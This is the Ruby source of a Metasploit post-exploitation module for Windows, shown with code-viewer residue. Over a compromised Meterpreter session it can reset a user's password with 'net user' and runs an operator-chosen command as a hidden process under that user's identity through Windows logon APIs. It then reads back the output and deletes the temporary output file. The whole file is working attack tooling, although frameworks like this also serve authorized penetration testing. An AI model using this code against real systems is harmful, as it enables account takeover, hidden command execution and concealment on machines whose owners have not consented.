183 lines
5.8 KiB
Ruby
183 lines
5.8 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/file'
|
|
require 'msf/core/post/windows/priv'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Windows Manage Run Command As User",
|
|
'Description' => %q{
|
|
This module will login with the specified username/password and execute the
|
|
supplied command as a hidden process. Output is not returned by default, by setting
|
|
CMDOUT to false output will be redirected to a temp file and read back in to
|
|
display.By setting advanced option SETPASS to true, it will reset the users
|
|
password and then execute the command.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'Platform' => ['windows'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Author' => ['Kx499']
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USER', [true, 'Username to reset/login with' ]),
|
|
OptString.new('PASS', [true, 'Password to use' ]),
|
|
OptString.new('CMD', [true, 'Command to execute' ]),
|
|
OptBool.new('CMDOUT', [false, 'Retrieve command output', false]),
|
|
], self.class)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('SETPASS', [false, 'Reset password', false])
|
|
], self.class)
|
|
end
|
|
|
|
# Check if sufficient privileges are present for certain actions and run getprivs for system
|
|
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
|
|
# need to migrate to a process that is running as
|
|
# system. If you don't have privs, this exits script.
|
|
|
|
def priv_check
|
|
if is_system?
|
|
privs = session.sys.config.getprivs
|
|
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
|
|
@isadmin = false
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
elsif is_admin?
|
|
@isadmin = true
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def reset_pass(user,pass)
|
|
begin
|
|
tmpout = ""
|
|
cmd = "cmd.exe /c net user " + user + " " + pass
|
|
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
|
while(d = r.channel.read)
|
|
tmpout << d
|
|
break if d == ""
|
|
end
|
|
r.channel.close
|
|
return true if tmpout.include?("successfully")
|
|
return false
|
|
rescue
|
|
return false
|
|
end
|
|
end
|
|
|
|
def run
|
|
# set some instance vars
|
|
@IsAdmin = false
|
|
@host_info = session.sys.config.sysinfo
|
|
|
|
# Make sure we meet the requirements before running the script, note no need to return
|
|
# unless error
|
|
return 0 if session.type != "meterpreter"
|
|
|
|
# check/set vars
|
|
setpass = datastore["SETPASS"]
|
|
cmdout = datastore["CMDOUT"]
|
|
user = datastore["USER"] || nil
|
|
pass = datastore["PASS"] || nil
|
|
cmd = datastore["CMD"] || nil
|
|
rg_adv = session.railgun.advapi32
|
|
|
|
# reset user pass if setpass is true
|
|
if datastore["SETPASS"]
|
|
print_status("Setting user password")
|
|
if !reset_pass(user,pass)
|
|
print_error("Error resetting password")
|
|
return 0
|
|
end
|
|
end
|
|
|
|
# set profile paths
|
|
sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%")
|
|
os = @host_info['OS']
|
|
profiles_path = sysdrive + "\\Documents and Settings\\"
|
|
profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
|
|
path = profiles_path + user + "\\"
|
|
outpath = path + "out.txt"
|
|
|
|
# this is start info struct for a hidden process last two params are std out and in.
|
|
#for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE
|
|
startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
|
|
startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL")
|
|
|
|
#set command string based on cmdout vars
|
|
cmdstr = "cmd.exe /c #{cmd}"
|
|
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
|
|
# Check privs and execute the correct commands
|
|
# if local admin use createprocesswithlogon, if system logonuser and createprocessasuser
|
|
# execute command and get output with a poor mans pipe
|
|
|
|
if priv_check
|
|
if @isadmin #local admin
|
|
print_status("Executing CreateProcessWithLogonW...we are Admin")
|
|
cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr,
|
|
"CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16)
|
|
else #system with correct token privs enabled
|
|
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
|
|
l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE",
|
|
"LOGON32_PROVIDER_DEFAULT", 4)
|
|
cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false,
|
|
"CREATE_NEW_CONSOLE", nil, nil, startinfo, 16)
|
|
end
|
|
else
|
|
print_error("Insufficient Privileges, either you are not Admin or system or you elevated")
|
|
print_error("privs to system and do not have sufficient privileges. If you elevated to")
|
|
print_error("system, migrate to a process that was started as system (srvhost.exe)")
|
|
return 0
|
|
end
|
|
|
|
# Only process file if the process creation was successful, delete when done, give us info
|
|
# about process
|
|
if cs["return"]
|
|
tmpout = ""
|
|
if cmdout
|
|
outfile = session.fs.file.new(outpath, "rb")
|
|
until outfile.eof?
|
|
tmpout << outfile.read
|
|
end
|
|
outfile.close
|
|
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
|
|
c.close
|
|
end
|
|
|
|
pi = cs["lpProcessInformation"].unpack("LLLL")
|
|
print_status("Command Run: #{cmdstr}")
|
|
print_status("Process Handle: #{pi[0]}")
|
|
print_status("Thread Handle: #{pi[1]}")
|
|
print_status("Process Id: #{pi[2]}")
|
|
print_status("Thread Id: #{pi[3]}")
|
|
print_line(tmpout)
|
|
else
|
|
print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}")
|
|
return 0
|
|
end
|
|
end
|
|
end
|